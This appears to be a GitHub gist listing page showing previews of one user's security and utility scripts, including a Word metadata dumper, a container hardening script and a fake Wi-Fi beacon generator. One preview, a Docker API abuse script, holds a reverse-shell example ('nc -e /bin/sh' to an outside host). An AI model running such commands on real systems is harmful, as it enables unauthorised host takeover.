Skip to content

Instantly share code, notes, and snippets.

View kost's full-sized avatar
💭
I'm upto something

kost kost

💭
I'm upto something
View GitHub Profile
@kost
kost / wmd.pl
Created November 27, 2014 15:35
Perl script written by Harlan Carvey to extract metadata from a Microsoft Word document.
#! c:\perl\bin\perl.exe
#----------------------------------------------------------
# WMD - Word Metadata Dumper version 1.0
# Dump metadata from Word documents, without using the MS API
#
# Usage: C:\Perl>[perl] wmd.pl <filename> [> output]
#
# Modules: Requires the use of OLE::Storage, Startup, and
# Unicode::Map; for Activestate Perl, these modules
# can be easily installed using PPM
@kost
kost / wildfly-password-generator.pl
Created February 17, 2015 10:22
WildFly Password Generator
#!/usr/bin/perl
use strict;
use Digest::MD5 qw(md5 md5_hex md5_base64);
my $user=shift;
my $pass=shift;
my $realm='ManagementRealm'; # or ApplicationRealm
my $plaintext=$user.":".$realm.":".$pass;
@kost
kost / run_pie.c
Created April 29, 2015 13:12
Run PIE executables where the linker doesn't support PIE
// run_pie.c taken from chromium-crosswalk project
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
@kost
kost / gist:b04b6a05372e4bbb067f
Last active August 29, 2015 14:25
Update rooted Nexus 5 - links
https://gist.github.com/eyecatchup/ec0a852428c19705380e
https://gist.github.com/eyecatchup/dab5cf7977008e504213
http://forum.xda-developers.com/google-nexus-5/general/ref-nexus-5-stock-ota-urls-t2475327
https://twrp.me/
http://forum.xda-developers.com/showthread.php?t=1538053
@kost
kost / docker_get_host_shell.rb
Last active February 12, 2019 23:08
Get Docker Host Shell abusing Docker API
#!/usr/bin/env ruby
# Get Docker Host Shell abusing Docker API
# Copyright (C) 2015 Kost. Distributed under GPL.
#
# Prerequisite:
# gem install docker-api
#
# Example:
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422
#
#!/usr/bin/env python
# recursively rename international characters in filenames
# Copyright (C) Vlatko Kosturjak - Kost
import os
import sys
import glob
import unicodedata
startingdir=u'.'
REM Netsparker batch invocation
REM Copyright (C) Vlatko Kosturjak - Kost
On Error Resume Next
Set args = Wscript.Arguments
REM iterate through each argument/file
For Each arg in args
filename = arg
@kost
kost / harden.sh
Created November 16, 2015 04:47 — forked from jumanjiman/harden.sh
hardening script for an alpine docker container
#!/bin/sh
set -x
set -e
#
# Docker build calls this script to harden the image during build.
#
# NOTE: To build on CircleCI, you must take care to keep the `find`
# command out of the /proc filesystem to avoid errors like:
#
# find: /proc/tty/driver: Permission denied
@kost
kost / esp8266-wifi-beacon-generator.ino
Created April 16, 2016 15:14
ESP8266 WiFi Beacon Generator - Generate SSID beacon frames on ESP8226
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
byte channel;
int maxssids=10; /* how much SSIDs we have */
char *ssids[] = {
@kost
kost / screenshotweb.js
Last active April 19, 2016 03:51
PhantomJS script to screenshot web page
#!/usr/bin/env phantomjs
// screenshotweb.js - Copyright (C) Kost
// PhantomJS script to screenshot web page
var system = require('system');
var argv = system.args;
if (argv.length === 1) {
console.log('Provide URL to take screenshot: '+argv[0]+' <URL>');
phantom.exit();
} else {